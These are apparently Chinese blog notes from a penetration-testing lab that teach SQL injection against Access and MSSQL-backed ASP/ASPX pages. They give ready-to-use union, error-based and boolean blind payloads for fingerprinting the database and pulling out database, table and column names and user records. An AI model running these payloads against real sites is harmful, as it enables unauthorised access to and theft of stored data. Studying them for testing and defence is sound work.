文章目录

  • 数据库注入
    • access数据库
      • 判断access数据库
      • 常用函数
      • 查询语句构造
        • 联合查询
        • 布尔型盲注
    • mssql数据库
      • mssql数据库判断
      • 环境---靶机-2k3_sp2
      • 常用函数
      • 查询语句构造
        • 联合查询
        • 报错注入
        • 布尔型盲注

数据库注入

access数据库

判断access数据库
  • 根据url的后缀。ASP为后缀名的是ACCESS数据库
  • 在url后面加单引号,以报错信息“Microsoft ole db provider for odbc drivers”判断为access
  • 通过and (select count(*) from msysobjects)>0发牛错误页面则为access数据库。msysobjects、msysqueries\msysrelationships为access的三个系统表,web环境下没有权限访问
常用函数
  • count():返回统计给定条件的行数
  • len():字符串长度,例len(‘database’)返回’8‘
  • asc():返回ascii值
  • mid(‘字符串’,n,m):返回从第n位开始,截取m长度的字符串
  • chr():返回ascii对应的字符
  • IIF(条件表达式,true,false):判断条件成立返回true,否则返回false
  • exists():判断是否存在数据,返回true或false
查询语句构造
联合查询

先判断数据库类型

  1. 判断整型注入还是字符型,例?id=5-1和?id=4相同,则整型
  2. 判断列数:?id=1 order by N
  3. 枚举获取关键表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值则存在,反之
  4. 获取回显位置:?id=1 union select 1,1,1 from admin
  5. 获取数据(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果报错,则没有猜解函数的字段

布尔型盲注
  1. 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),页面出错则不存在
  2. 表的行数:?id=5 and (select count(*) from admin)>N
  3. 猜解字段名:?id=5 and (select uname from admin)
  4. 猜解字段内容的长度:?id=5 and (select top 1 len( username) from admin)>N
  5. 获取内容值:用mid函数将内容截取长度,再进行asc函数得到ascii码值,就得到对应的字符了。输入?id=5 and (select top 1 asc(mid( username,M,1)) from admin)>N,M从1看是截取1的长度,用二分法不停尝试N的值,知道找到正确N值,M再加一,最后加至5获取该字段内容为admin。

mssql数据库

mssql数据库判断
  • .aspx为后缀的
  • 通过?id=5 and (select count(*) from sysobjects)>0,页面正常,则为mssql数据库。因为存在三个系统表,
    • sysobjects:存放所有对象。字段有name-对象名、id-对象id、xtype-对象类型、uid、status)
    • syscolumns:存放所有字段。字段有name-表名,id-表id,colid-字段id。当xtype=u and status>0时,对象名=表名,对象id=表id
    • sysdatabases:保存在master数据库中,保存了所有库名,库id和其他信息
环境—靶机-2k3_sp2

  1. 开启服务

  2. 登录数据库

  3. http://192.168.43.21:8006/dianpu.aspx?id=1实践

常用函数
  • host_name():返回服务器的名称
  • Currnet_user:返回当前数据库用户
  • db_name():返回当前数据库名称
  • CHAR():将ascii转换为字符
  • Object_id():返回数据库表名,通常用16进制或sql编码
  • col_name(table_id,column_id):返回指定表中的列
  • isnull():使用指定的替换值替换null
  • substring():返回子字符串,也就是截取
查询语句构造
联合查询
  1. 判断数据库类型:输入/dianpu.aspx?id=1 and (select count(*) from sysobjects)>0页面正常,为mssql数据库

  2. **判断列数:**输入?id=1 order by 14,页面报错,则为13列,并且回显位是字符串时,会在页面显示,这里第10列为字符串

  3. **判断回显位置:**字符串的位置用null代替,输入?id=1 union select

    1,2,3,4,5,6,7,8,9,null,11,12,13页面报错,意思union执行了默认的去重功能,那这里不需要,所以重新输入为?id=1 union all select 1,2,3,4,5,6,7,8,9,null,11,12,13,

但是页面依然报错,如下,所以哈是有的位置依然不是数字型,只能一个一个将位置置空,换null,来确定哪些是字符型位置,最终确定为?id=-1 union all select 1,2,null,null,55,null,null,8,9,null,null,12,13,页面正常

  1. **获取数据库名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from master…sysdatabases,页面显示所有数据库名

  2. 获取当前数据库名:输入?id=-1 union all select 1,2,null,null,55,db_name(),null,8,9,null,null,12,13 from master…sy,页面显示当前数据库为jiaofan

  3. **获取数据库表名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…sysobjects where xtype=0x5500,即jiaofan数据库下的表

  4. **获取列名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=0x73006C005F007500730065007200),页面显示表中的列名信息

  5. **获取列字段的内容:**输入?id=-1 union all select 1,2,zuocheng,null,55,null,null,8,9,null,null,12,13 from sl_user,即获取sl_user表中zuocheng字段的信息

报错注入
  1. **获取数据库名:**输入http://192.168.43.21:8006/list.aspx?quyu=??′¨′ó?§?-°2oóD£??&kouwei=3?à±’ and 1=(select top 1 name from master…sysdatabases where name not in (select top N name from master…sysdatabases)) --+,该语句意思N值从0增加,逐个获取数据库名,查询第一数据库名,查第二个时,需要去更改N值 从报错信息知数据库为master

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I5GhwXk2-1597919684695)(D:\Desktop\乱七八糟\渗透\笔记\图库\1595341928185.png)]

  2. **获取当前数据库名:**输入’ and 1=(select db_name()) --+,获取的为jiaofan

  3. **获取库里面的表:**输入’ and 1=(select top 1 name from jiaofan…sysobjects where xtype=‘U’ and name not in (select top N name from jiaofan…sysobjects where xtype=‘U’)) --+,显示的表为sl_banner,将N值从0增加,逐个获取表名

  4. **获取列名信息:**输入’ and 1=(select top 1 name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’) and name not in (select top N name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’))) --+,同理,逐个获取列名,这里是shouji

  5. 获取列中的信息:输入’ and 1=(select top 1 shouji from sl_user where shouji not in (select top N shouji from sl_user)) --+,获取到了相应的信息

布尔型盲注

1-9其他数据库注入相关推荐

  1. [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  2. 网络安全学习--008--SQL注入之Access数据库注入详解

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Access注入漏洞详解 一:注入漏洞分析 站库分类: 1.网站分类: 静态网页: 不依赖数据库 灵活性差,制作.更新.维护麻烦 交互 ...

  3. WEB渗透SQL注入【3】[access数据库注入](2)

    SQL注入的分类很多,不同的人也会将注入分成不同的种类,下面笔者将介绍一下常见的分类. 注意:此文章中标点符号在页面中显示可能会转成中文的,自己测试时候语句中的标点一律使用英文输入法状态下的. 1.判 ...

  4. 永不落幕的数据库注入攻防战

    本文根据DBAplus社群第98期线上分享整理而成. 讲师介绍 主题简介: 1.数据库有什么安全问题 2.何为数据库注入 3.数据库注入攻击实战 4.为什么会发生数据库注入 5.数据库注入攻击防御 记 ...

  5. SQLite 数据库注入总结

    前言 SQLite 是一个进程内的库,实现了自给自足的.无服务器的.零配置的.事务性的 SQL 数据库引擎.它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置.SQLite 与 ...

  6. Access数据库注入

    目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...

  7. ***教程十:数据库注入(上)

    这一段的教程是笔者(这里应该叫整理者)由<***X档案>的教程中整理改编而来. 不知道是什么时候,B/S结构的软件越来越普及.工程师们为了应对"用户皆白痴"的服务理念( ...

  8. sqlilabs-mysql数据库注入靶场-page2

    第二十一关(cookie里面进行注入) 查看登录正常的页面. 查看登录失败的页面. 抓包,可以看得到cookie里面有一串看不懂的字符串. 根据对url编码的学习,可以发现%3D的url解码是等号,等 ...

  9. Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库). 地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已 ...

最新文章

  1. Jetty 基本使用样例
  2. ASP.NET应用程序设计的10大技巧
  3. 网易云信给您拜年啦!
  4. python处理xml文件_Python解析并修改XML文件
  5. C++ 泛型编程(一):模板基础:函数模板、类模板、模板推演成函数的机制、模板实例化、模板匹配规则
  6. 利用Adorner制作用于图像裁切的选择框
  7. H5(仅仅是个地址)
  8. oracle excel更新,excel表格的数据如何更新-如何将excel表格更新oracle数据库中数据...
  9. IIC协议详解,附单片机软件模拟源码
  10. while循环的基本用法
  11. 建筑工地人脸识别门禁通道闸机如何安装
  12. android 高度百分比,Android 屏幕适配-百分比布局适配
  13. win10 windows 键(徽标键) 失效解决办法
  14. 用Python判断手机号码的运营商
  15. 计算机中网络协议三要素,网络协议的三要素是什么?各有什么含义?
  16. 年轻计算机科学家,15岁最年轻科学家具体什么情况? 谈方琳个人资料介绍有何成就...
  17. html导出excel,数据显示过长E+
  18. iphone 如何运行android,如何在iPhone上运行Android双系统?
  19. 快消企业数字化转型如何落地
  20. 恒压板框过滤实验数据处理_襄樊米粉板框压滤机专业生产,非金属矿压滤机

热门文章

  1. C语言实用算法系列之行指针
  2. linux adc测试程序,基于Qt4.7的ADC测试程序
  3. 怎么修改服务器上的cpt文件,DELL-服务器-RAID-配置详解(28页)-原创力文档
  4. 信号与系统 chapter6 时变与时不变系统
  5. 信号与系统 chapter4 单位脉冲与单位阶跃序列
  6. 让IE6、IE7、IE8支持CSS3
  7. PHP 中文文件名 空格等 CURL 读取
  8. redis学习之——redis.conf配置(基本)文件学习
  9. Kubernetes资源创建yml语法
  10. 利用Aspose.Word控件实现Word文档的操作